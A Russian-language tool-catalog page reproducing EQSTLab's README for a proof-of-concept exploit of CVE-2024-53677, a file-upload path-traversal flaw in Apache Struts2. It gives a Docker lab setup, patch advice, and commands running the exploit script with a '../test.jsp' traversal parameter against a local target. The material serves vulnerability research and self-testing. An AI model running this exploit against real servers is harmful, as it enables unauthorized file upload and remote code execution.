Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-53677 — Ошибка в логике загрузки файлов в эксплойте Apache Struts2 | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2024-53677
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubeqstlab/cve-2024-53677

CVE-2024-53677

Ошибка в логике загрузки файлов в эксплойте Apache Struts2

Репозиторий
1721 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Этот пост — исследовательская статья, опубликованная EQSTLab.

CVE-2024-53677

★ CVE-2024-53677 Неограниченная загрузка файла с опасным типом и RCE PoC ★

Настройка лаборатории

root@kitploit:~
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

Хронология

11 дек : Загружен PoC загрузки файла для CVE-2024-53677

Описание

CVE-2024-53677 : логика загрузки файлов в Apache Struts содержит ошибку. Злоумышленник может манипулировать параметрами загрузки файлов, чтобы осуществить обход пути (path traversal), и в некоторых случаях это может привести к загрузке вредоносного файла, который можно использовать для выполнения удалённого кода (Remote Code Execution). Проблема затрагивает Apache Struts: с 2.0.0 до 6.4.0. Пользователям рекомендуется обновиться как минимум до версии 6.4.0 и перейти на новый механизм загрузки файлов https://struts.apache.org/core-developers/file-upload . Если вы не используете старую логику загрузки файлов на основе FileuploadInterceptor, ваше приложение в безопасности. Подробнее можно узнать по ссылке https://cwiki.apache.org/confluence/display/WW/S2-067.

Как использовать

Клонирование репозитория

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677

Установка пакетов

root@kitploit:~
pip install -r requirements.txt

Команда

root@kitploit:~
# Загрузить файл по умолчанию
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Загрузить указанный файл
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <File Path>

Пример

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt

Вывод

CVE-2024-53677.py

Результат

Отказ от ответственности

Этот репозиторий не является эксплойтом внедрения объектов (Object injection) для CVE-2024-53677. Цель этого проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения.

Аналитика EQST

Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями. https://www.skshieldus.com/eng/business/insight.do

Ссылки

https://nvd.nist.gov/vuln/detail/CVE-2024-53677

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker

Скачать инструмент